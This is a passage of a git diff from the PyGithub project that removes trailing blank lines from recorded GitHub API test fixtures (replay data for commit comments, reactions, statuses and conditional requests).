PyGithub","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","created_at":"2012-05-22T18:40:18Z","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","position":null,"updated_at":"2012-05-22T18:40:18Z","id":1361949,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}} - diff --git a/tests/ReplayData/CommitComment.testCreateReaction.txt b/tests/ReplayData/CommitComment.testCreateReaction.txt index 45564f2c72..88dedef274 100644 --- a/tests/ReplayData/CommitComment.testCreateReaction.txt +++ b/tests/ReplayData/CommitComment.testCreateReaction.txt @@ -8,4 +8,3 @@ None 201 [('content-length', '999'), ('x-runtime-rack', '0.089813'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"b4b4469f500955f78d263f6b89f917b7"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F357:4399:163903:2B03BB:5A31CFCF'), ('date', 'Thu, 14 Dec 2017 01:11:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513217425')] {"id":17283092,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-14T01:11:44Z"} - diff --git a/tests/ReplayData/CommitComment.testDelete.txt b/tests/ReplayData/CommitComment.testDelete.txt index 1430b71497..14de96b4c4 100644 --- a/tests/ReplayData/CommitComment.testDelete.txt +++ b/tests/ReplayData/CommitComment.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4974'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 18:44:06 GMT')] - - diff --git a/tests/ReplayData/CommitComment.testDeleteReaction.txt b/tests/ReplayData/CommitComment.testDeleteReaction.txt index b82e23d2a8..cff7b6fc32 100644 --- a/tests/ReplayData/CommitComment.testDeleteReaction.txt +++ b/tests/ReplayData/CommitComment.testDeleteReaction.txt @@ -7,5 +7,3 @@ None None 204 [('Date', 'Mon, 28 Sep 2020 19:55:51 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1601324668'), ('X-RateLimit-Used', '41'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', 'C96E:F313:162969A9:1A634C51:5F723FC7')] - - diff --git a/tests/ReplayData/CommitComment.testEdit.txt b/tests/ReplayData/CommitComment.testEdit.txt index 834eedd570..d67ede9e95 100644 --- a/tests/ReplayData/CommitComment.testEdit.txt +++ b/tests/ReplayData/CommitComment.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '713'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"97ffd9ff8370f4f284873a6397d7cafd"'), ('date', 'Tue, 22 May 2012 18:43:17 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-22T18:43:17Z","position":null,"body":"Comment edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-22T18:40:18Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":1361949,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949"} - diff --git a/tests/ReplayData/CommitComment.testGetReactions.txt b/tests/ReplayData/CommitComment.testGetReactions.txt index 6dec5a3f4a..87db6f75cf 100644 --- a/tests/ReplayData/CommitComment.testGetReactions.txt +++ b/tests/ReplayData/CommitComment.testGetReactions.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '997'), ('x-runtime-rack', '0.065775'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"f9a2d05e3b714991cb3838f1b7cc0c98"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F33A:452C:15A7D0:3673D6:5A31CE56'), ('date', 'Thu, 14 Dec 2017 01:05:27 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513213757')] [{"id":17282897,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-14T01:01:48Z"}] - diff --git a/tests/ReplayData/CommitStatus.setUp.txt b/tests/ReplayData/CommitStatus.setUp.txt index 7eb92c6fd0..ba9be4b61f 100644 --- a/tests/ReplayData/CommitStatus.setUp.txt +++ b/tests/ReplayData/CommitStatus.setUp.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"33102158c69b28937a0b6a7031ba9c88"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 11:33:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"description":"Status successfuly created by PyGithub","created_at":"2012-09-08T11:30:56Z","target_url":"https://github.com/jacquev6/PyGithub/issues/67","state":"success","context":"build","updated_at":"2012-09-08T11:30:56Z","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277040","id":277040,"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"}},{"description":null,"created_at":"2012-09-08T11:27:12Z","target_url":null,"state":"pending","updated_at":"2012-09-08T11:27:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277031","id":277031,"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"}}] - diff --git a/tests/ReplayData/ConditionalRequestUpdate.setUp.txt b/tests/ReplayData/ConditionalRequestUpdate.setUp.txt index 9921cd3ea9..3812443a0c 100644 --- a/tests/ReplayData/ConditionalRequestUpdate.setUp.txt +++ b/tests/ReplayData/ConditionalRequestUpdate.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13698'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8600bedcb7fed1d8065e1693e05529ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:09:11Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} - diff --git a/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt b/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt index d4beca4c21..c1568e9ac8 100755 --- a/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt +++ b/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt @@ -7,5 +7,3 @@ None None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4988'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8600bedcb7fed1d8065e1693e05529ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:10 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1377140429')] - - diff --git a/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt b/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt index 3b694113e4..013b538431 100644 --- a/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt +++ b/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13712'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:14:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ef281ef0e821c18f80da36902727160b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:15:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3 - AKFish Fork","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_